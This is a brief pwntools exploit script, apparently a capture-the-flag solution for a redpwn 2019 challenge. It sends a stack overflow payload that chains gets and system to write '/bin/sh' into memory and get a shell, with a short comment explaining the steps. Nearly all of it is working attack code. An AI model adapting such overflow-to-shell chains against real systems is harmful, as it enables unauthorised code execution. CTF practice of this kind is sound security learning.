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August 19, 2019 09:52
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| from pwn import * | |
| r=remote('chall2.2019.redpwn.net',4002) | |
| gets=0x080483b0 | |
| system=0x0804b010 | |
| buf=0x0804a000 | |
| payload = 'a'*26 + p32(0x0804a100) + p32(gets) + p32(system) + p32(buf) + p32(buf) | |
| r.sendlineafter('challenge', payload) | |
| r.interactive() |
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Sorry, I forget comment.
It will open stdin by gets, then you type '/bin/sh' into 0x0804a000 manually.
It will calling system(0x0804a000).